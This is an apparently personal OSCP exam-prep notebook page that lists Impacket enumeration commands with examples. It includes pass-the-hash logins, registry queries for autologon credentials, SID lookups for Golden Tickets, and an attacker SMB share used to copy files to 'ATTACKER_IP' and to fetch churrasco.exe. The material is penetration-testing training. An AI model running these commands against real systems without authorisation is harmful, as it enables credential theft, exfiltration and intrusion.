Pearson's OSCP Notebook

Impacket Enumeration

Properties1
tagsimpacket, enumeration, lookupsid, rpcdump, samrdump, smbclient, reg, smbserver, rpc, smb

3 min read

Impacket — Enumeration Scripts

External: Internal All The Things — Enumeration

Focused references: rpcdump · lookupsid & samrdump

Overview

ScriptPurposeCreds needed?
lookupsidEnumerate users/groups via SID brute-forceOptional (anonymous sometimes)
rpcdumpList RPC endpoints on targetOptional
samrdumpDump SAMR (user list) via RPCYes (or null session)
smbclientInteractive SMB share browserYes
regRemote registry read/writeYes (admin)
smbserverHost SMB share on attackerN/A
netviewHosts the user has logged intoYes

📌 1) lookupsid.py — SID / User Enumeration

Brute-forces SIDs to discover usernames and groups (like rpcclient RID cycling).

# Authenticated
impacket-lookupsid domain/user:password@10.10.10.10
 
# Anonymous / null session
impacket-lookupsid anonymous@10.10.10.10
impacket-lookupsid guest@10.10.10.10 -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0'
 
# Limit RID range
impacket-lookupsid domain/user:password@10.10.10.10 2000
 
# Get domain SID (needed for Golden Ticket)
impacket-lookupsid domain/user:password@10.10.10.10 | grep "Domain SID"

📌 2) rpcdump.py — RPC Endpoint Enumeration

Lists MSRPC interfaces and endpoints — useful for finding dynamic high ports.

impacket-rpcdump 10.10.10.10
impacket-rpcdump @10.10.10.10
 
# With creds
impacket-rpcdump domain/user:password@10.10.10.10
 
# Dynamic / non-standard port
rpcdump.py mark:OathDeeplyReprieve91@192.168.229.247 -p 49664
impacket-rpcdump mark:OathDeeplyReprieve91@192.168.229.247 -port 49664

Full reference → rpcdump · workflow → RPC

📌 3) samrdump.py — User List via SAMR

Dumps user account info through the Security Account Manager Remote protocol.

impacket-samrdump 10.10.10.10
impacket-samrdump domain/user:password@10.10.10.10
impacket-samrdump anonymous@10.10.10.10

📌 4) smbclient.py — SMB Share Browser

Python SMB client — alternative to smbclient.

# Interactive
impacket-smbclient domain/user:password@10.10.10.10
 
# Pass-the-Hash
impacket-smbclient administrator@10.10.10.10 -hashes ':NT_HASH'
 
# Inside shell:
# - use sharename
# - ls
# - get file.txt
# - put localfile.txt   (single file only — no mput)

Bulk upload many files → mount + cp or native smbclient > 📌 7) Bulk upload (mount / smbclient mput) (not impacket).

📌 5) reg.py — Remote Registry

Read/write registry keys remotely (requires admin).

# Query key
impacket-reg domain/user:password@10.10.10.10 query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion'
 
# Check autologon credentials
impacket-reg domain/user:password@10.10.10.10 query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
 
# AlwaysInstallElevated check
impacket-reg domain/user:password@10.10.10.10 query -keyName 'HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer'
impacket-reg domain/user:password@10.10.10.10 query -keyName 'HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer'

📌 6) smbserver.py — Host SMB Share (Attacker)

Create SMB share on your machine — used with Responder, ntlmrelayx, or file exfil.

# Simple share serving current directory
impacket-smbserver share /path/to/share -smb2support
 
# With username/password
impacket-smbserver -username test -password test share /path/to/share -smb2support
 
# Common use: receive files from Windows target
impacket-smbserver exfil /tmp/exfil -smb2support
# On Windows: copy C:\secret.txt \\ATTACKER_IP\exfil\
 
# Privesc binaries (Churrasco + nc.exe) — see [[Churrasco]]
impacket-smbserver share /path/to/tools -smb2support
# On Windows: copy \\ATTACKER\share\churrasco.exe .

📌 7) netview.py — User’s Machine History

Lists machines the user has logged into (requires domain creds).

impacket-netview domain/user:password -target TARGET -users domain/user
impacket-netview domain/admin:password -target DC_IP -users domain/admin

📌 Quick Cheat Sheet

# ─── USER ENUM ────────────────────────────────────────────────
impacket-lookupsid domain/user:pass@TARGET
impacket-lookupsid anonymous@TARGET
impacket-samrdump TARGET
 
# ─── RPC ──────────────────────────────────────────────────────
impacket-rpcdump TARGET
 
# ─── SMB BROWSE ───────────────────────────────────────────────
impacket-smbclient domain/user:pass@TARGET
impacket-smbclient admin@TARGET -hashes ':NTHASH'
 
# ─── REGISTRY (autologon creds) ───────────────────────────────
impacket-reg domain/user:pass@TARGET query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
 
# ─── HOST SMB SHARE (attacker) ────────────────────────────────
impacket-smbserver share /tmp/share -smb2support

Graph View

Backlinks